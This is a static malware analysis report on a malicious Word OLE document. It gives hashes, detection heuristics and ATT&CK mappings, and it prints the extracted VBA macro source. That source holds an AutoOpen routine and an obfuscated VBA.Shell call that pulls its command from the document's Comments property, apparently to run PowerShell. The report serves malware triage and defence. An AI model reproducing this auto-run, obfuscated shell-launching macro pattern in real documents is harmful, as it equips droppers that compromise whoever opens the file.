Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1c9199d6a5d12276…

MALICIOUS

Office (OLE)

56.5 KB Created: 2017-09-28 14:17:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 08d7dd5cda8979e3f5b74331e8e49a77 SHA-1: 636149a381c7a9453a914d35d5bb8fc43aa40641 SHA-256: 1c9199d6a5d122766a27bb844acccb065a34ddd0e4a88b7559562905b3da793d
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. The 'OLE_VBA_SHELL' and 'SC_STR_POWERSHELL' heuristics indicate that the macros attempt to execute a shell command, likely involving PowerShell. The ClamAV detection 'Doc.Macro.DollarShell-6346616-0' further confirms its malicious nature. The VBA script attempts to obfuscate its actions by concatenating strings, but the primary intent appears to be executing a PowerShell command.

Heuristics 8

  • ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    zwhZnPkHP = "EUkZAsMwZt" + "hrtekNyrt" + "HaxDKnKUdts" + "TamEhwL" + "CGkfkBpayX" + "gGUKbBcu" + "KAaBCFbSWs" + yGKXmgc = "yRkgRmc" + "mcdMBbXPwVS" + "PyyeSCGUn" + "crypVpzrTF" + "WwkyNBpex" + "PSKyBvrk" + "bbsgsupk" + ENTnHDCBwAN = "VRzrKCdU" + "mkSZmYcz" + "rzVrnmpxp" + "BHrcMBGs" + "RcXfVYKRmL" + "yMrXhuEaBKN" + "SErYGceLF" + fPZVNgSyHCR = "YFAwACnur" + "rvDYcnNHY" + "xHSZgxk" + "rAhtZTUE" + "PtzAGxbmD" + "kkDUPdM" + "nPaYKZxTKHR" + "nSZCLzPGt"
    VBA.Shell$ "" + "" + scBkMFwnwH + TpcFxVSY + YNWszAWLe + XWwfxnmTe + RRLAgdKtfH + byYALLPcEpC + dzxFdfndw + LddVBrmEm + ActiveDocument.BuiltInDocumentProperties("Co" + "mme" + "nts"), 0
    PSweVHcxmYh = "aXwZabs" + "sWkZpaWxEV" + "nbLbZsK" + "FMbpWkatSmR" + "TthLVTAYA" + "SaumWCs" + "RAcyVrVXDnD" + cVbKarvmV = "sLUFVgu" + "ehCxTvAGMub" + "wgzsDcXadu" + "UNkEUpCK" + "DXZCEZpdPWY" + "VyKMZwtYdgn" + "BhZKHRyt" + EVNLTnE = "bGcABxTSEDD" + "AxpvTCZXGCB" + "XUNDszgTb" + "MWPWCaAD" + "pagnWxEb" + "yyTLHhBs" + "CCyzBmn" + EUFWFXYP = "raENVUye" + "WFKpnAvR" + "wnXYYDPLz" + "NaDYUmDtk" + "FVBMUkKy" + "mTnSsGMTHY" + "Fbatasmznrc" + wFsSZez = "VnEGLNa" + "KXZRfTx" + "LnZVCNF" + "zcUudasAhmx"  …
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub autoopen()
    MsUUyTAxS
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2598 bytes
SHA-256: 24fc6b4986b50d1cf5a0530593a559e009c3efdfeb2f6e81b044cc4c0a72c4e4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
135 of 174 identifiers look randomly generated (e.g. 'FNGdpyvCSxW') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
MsUUyTAxS
End Sub
Function MsUUyTAxS()
EhFhXha = "RzgbzVpMGPp" + "EYbpLksz" + "fKZAkAdBW" + "NusTdKkGrCh" + "EyWgmaWY" + "GXFXuAKgS" + "wavknac" + NxLyTGSarS = "cPpfdBscupg" + "yeYRzedDtb" + "rBkLtvaMdwF" + "xLNVZHDtkLd" + "DVrWwxTDnLA" + "zpkZzpLbx" + "AHTCBMEu" + bsdKSAfB = "BwvwUHBvKr" + "ukKtgBFZSs" + "abpudabzyLV" + "YRvpBaCZge" + "nvNhyyFBk" + "SDYMCRnFez" + "ExVBMkm" + SgcKAGZA = "NGsEpbPNT" + "tcLhUFR" + "afaZakwW" + "nAUMPXF" + "vLYHeaynxCE" + "zpLRfWBvEnk" + "aPzAzvW" + "RDmxSZUENsL"
zwhZnPkHP = "EUkZAsMwZt" + "hrtekNyrt" + "HaxDKnKUdts" + "TamEhwL" + "CGkfkBpayX" + "gGUKbBcu" + "KAaBCFbSWs" + yGKXmgc = "yRkgRmc" + "mcdMBbXPwVS" + "PyyeSCGUn" + "crypVpzrTF" + "WwkyNBpex" + "PSKyBvrk" + "bbsgsupk" + ENTnHDCBwAN = "VRzrKCdU" + "mkSZmYcz" + "rzVrnmpxp" + "BHrcMBGs" + "RcXfVYKRmL" + "yMrXhuEaBKN" + "SErYGceLF" + fPZVNgSyHCR = "YFAwACnur" + "rvDYcnNHY" + "xHSZgxk" + "rAhtZTUE" + "PtzAGxbmD" + "kkDUPdM" + "nPaYKZxTKHR" + "nSZCLzPGt"
VBA.Shell$ "" + "" + scBkMFwnwH + TpcFxVSY + YNWszAWLe + XWwfxnmTe + RRLAgdKtfH + byYALLPcEpC + dzxFdfndw + LddVBrmEm + ActiveDocument.BuiltInDocumentProperties("Co" + "mme" + "nts"), 0
PSweVHcxmYh = "aXwZabs" + "sWkZpaWxEV" + "nbLbZsK" + "FMbpWkatSmR" + "TthLVTAYA" + "SaumWCs" + "RAcyVrVXDnD" + cVbKarvmV = "sLUFVgu" + "ehCxTvAGMub" + "wgzsDcXadu" + "UNkEUpCK" + "DXZCEZpdPWY" + "VyKMZwtYdgn" + "BhZKHRyt" + EVNLTnE = "bGcABxTSEDD" + "AxpvTCZXGCB" + "XUNDszgTb" + "MWPWCaAD" + "pagnWxEb" + "yyTLHhBs" + "CCyzBmn" + EUFWFXYP = "raENVUye" + "WFKpnAvR" + "wnXYYDPLz" + "NaDYUmDtk" + "FVBMUkKy" + "mTnSsGMTHY" + "Fbatasmznrc" + wFsSZez = "VnEGLNa" + "KXZRfTx" + "LnZVCNF" + "zcUudasAhmx" + "mVwUsWba" + "uLcFpFYVd" + "XudUzpG" + zMTGZRWsV = "dtUVrkmC" + "FvHYsCA" + "acuFcvTUd" + "hwYgPVk" + "TVwptnbpDm" + "FNGdpyvCSxW" + "SkkSfnXfxhm" + "fKHsCfhahZ"
MSMzRaHMZ = "WgMKyVCGmD" + "akXZPshtHz" + "rFDsvhTD" + "TcECzMks" + "wpVBgHeaE" + "xEHkeMs" + "HLeZNmD" + NnKcXLE = "yEwGgzfE" + "eMkvnzsu" + "HfYCFbwZ" + "kFKgygwS" + "BbBeLtgZknz" + "kHCanTn" + "dBBPkxP" + RhaPDdM = "gHHnZsugNHd" + "PNMxGHS" + "prxRKCvhWK" + "gHkZETMbz" + "esGmGzcTN" + "wcguRVSmBra" + "XDLVMfnk" + BegdhBYSz = "MNUTvTGH" + "UWvEEZeLT" + "uuhetvhhTk" + "yGhUnZFkSs" + "urkHeMhcHPN" + "gYuwSbt" + "BxFYBtZG" + "VxxVEUfrMY"
End Function